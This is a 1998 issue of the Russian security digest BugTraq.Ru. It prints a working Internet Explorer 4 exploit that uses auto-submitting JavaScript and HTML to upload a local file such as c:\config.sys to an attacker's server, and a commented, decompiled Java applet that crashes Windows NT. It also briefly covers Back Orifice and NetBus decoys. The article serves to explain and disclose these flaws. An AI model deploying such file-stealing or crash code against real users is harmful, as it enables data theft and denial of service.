BugTraq.Ru
Русский BugTraq
https://bugtraq.ru/review/archive/1998/13-10-98.html

13 октября 1998, #45

Наша коллекция взломанных сайтов уже довольно прилично разрослась, да и сообщения о новых взломах приходят, как правило, не дожидаясь очередного обзора, так что настала пора выделить ей отдельный раздел. Разместился он в Underground'е, и сразу с новым экспонатом.

А в клубе тем временем пополнение. С заданием успешно справился debug3d, с чем я его и поздравляю.


Еще одна плюха в IE. Подробное описание и демонстрация - здесь. Идея следующая. В html существуют поле ввода "выбор файла", предназначенное для отправки файла на сервер. В нормальной ситуации это поле может заполнить только пользователь, со спокойной совестью нажимающий после этого на Submit. Проблема в том, что с помощью JavaScript в IE4 и выше можно выполнить команды Copy и Paste, а также отправить форму без ведома пользователя. Итак, создаем форму, в ней скрытое поле <input type="hidden" name="T1" value="c:\config.sys">, поле для выбора файлов <input type="file" name="filename" value="c:\config.sys">, после чего пишем следующий код (разумеется, вызывающийся в <body onLoad=...>):
function getfile()
{
  document.forms[1].T1.select();
  document.execCommand("copy");
  document.forms[0].filename.select();
  document.execCommand("paste");
  document.forms[0].submit();
}

Ну а дальше за дело берется cgi-скрипт. Конечно, это сработает только если не отключено предупреждение об отправлении формы, но как показывает практика, нормальные люди делают это практически сразу.

Разумеется, это все можно использовать и в html-сообщениях, не томясь в ожидании захода жертвы на нужную страницу.


Вокруг Back Orifice и NetBus. Андрей Орешко прислал ссылку на программу, садящуюся на 31337-й порт и далее в ответ на попытки присоединиться к нему клиентом BO выдающую в ответ некий текст, причем стандартное сообщение можно заменить на все, что душе угодно, что открывает необозримое поле деятельности :) Плюс все, разумеется, пишется в лог. Аналогичная обманка для NetBus, заодно пытающаяся ее удалить, живет здесь.

По поводу BO озаботились и некоторые провайдеры. Так, клиенты Корбины, запускавшие клиента BO, через некоторое время получают последнее предупреждение от администратора. Вполне разумная реакция, между прочим.


George Hazan сообщает, что упоминавшаяся в двух последних выпусках программа, вышибающая NT, приводит к простому GPF на NTWS 4.0 Eng + SP4 1.136 RC2. Похоже, это они уже залатали.

А вот по поводу апплета, занимающимся все тем же черным делом, я получил сразу два письма с его дизассемблированным кодом. Вариант Олега Кагана лежит здесь, вариант (частично урезанный) Игоря Шергина с его комментариями привожу ниже.


import java.awt.*;
import java.applet.Applet;
// Вообще, весьма примитивный апплет, любой школьник напишет...
// заголовок апплета
public synchronized class KillerApp extends Applet
{
public void paint(Graphics g){/*...отрисовка заставок и т.п...*/}
// .......[почикано]
// А вот этот метод и приводит к краху.
public boolean mouseUp(Event evt, int x, int y)
{
  Image img = createImage(600, 400);
  Graphics gc = img.getGraphics();
// эти значения потом будут использованы для рисования линий! :)
  int max = 2147483647;
  int min = -2147483648;
// обычный флажок - переключатель режимов "жесткий" и "не очень"
// есть еще ultraFried - устанавливается после "жесткого" режима
  if (!fried)
  {
// Эта линия с далеко заэкранными координатами
// отрисовывается, когда Вы в первый раз нажимаете
// на любимую красную кнопку автора
    gc.drawLine(299, 924, max, max);
    fried = true;
  }
  else
  {
    Graphics g = getGraphics();
    g.setColor(Color.black);
    g.fillRect(0, 0, size().width, size().height);
    g.setColor(Color.white);
    FontMetrics fm = g.getFontMetrics();
    String s = "Working, please wait..." +
" The damage might be worse each time you press the button!";
    g.drawString(s, (size().width - fm.stringWidth(s)) / 2,
    (size().height - fm.getHeight()) / 2);
// Второй вариант - "утяжеленный". Производится рисование 10'000
// линий из некой случайной точки "лучами" в разные углы экрана
    for (int i = 0; i < 10000; i++)
    {
// координаты точки
      int lx = (int)(Math.random() * 2000.0) - 1000;
      int ly = (int)(Math.random() * 2000.0) - 1000;
      gc.setColor(new Color((int)(Math.random() * 1.6777215E7)));
// лучи
      gc.drawLine(lx, ly, max, max);
      gc.drawLine(lx, ly, min, min);
      gc.drawLine(lx, ly, min, max);
      gc.drawLine(lx, ly, max, min);
    }
    gc.drawImage(background, 0, 0, this);
    getGraphics().drawImage(img, 0, 0, this);
    ultraFried = true;
  }
// отрисовываем...
  repaint();
// Все! Клиент в дауне!
  return true;
}
// ...


В рамках проекта Russian Underground/2 делается попытка реанимировать создававшийся пару лет назад онлайновый журнал по программированию для OS/2, но на этот раз не замыкаясь в рамках OS/2. Приглашаются программисты, владеющие в первую очередь русским письменным, а также С++, Pascal, Java, Perl и т.д. Интересуют также оригинальные или забавные алгоритмы или методики, работа с базами данных. мультиплатформенные или переносимые решения, вопросы портирования программного обеспечения с одной платформы на другую, новые технологии и протоколы, и т.д. и т.п.

Со своей же стороны могу добавить, что все это мы с превеликим удовольствием можем в дальнейшем опубликовать в бумажной ипостаси HackZone, изначально позиционирующейся несколько шире, чем сайт, и не ограничивающейся только вопросами безопасности.


У вас есть новость или ссылка, заслуживающие внимания наших читателей ? Пишите.

«     »






  Copyright © 2001-2024 Dmitry Leonov Design: Vadim Derkach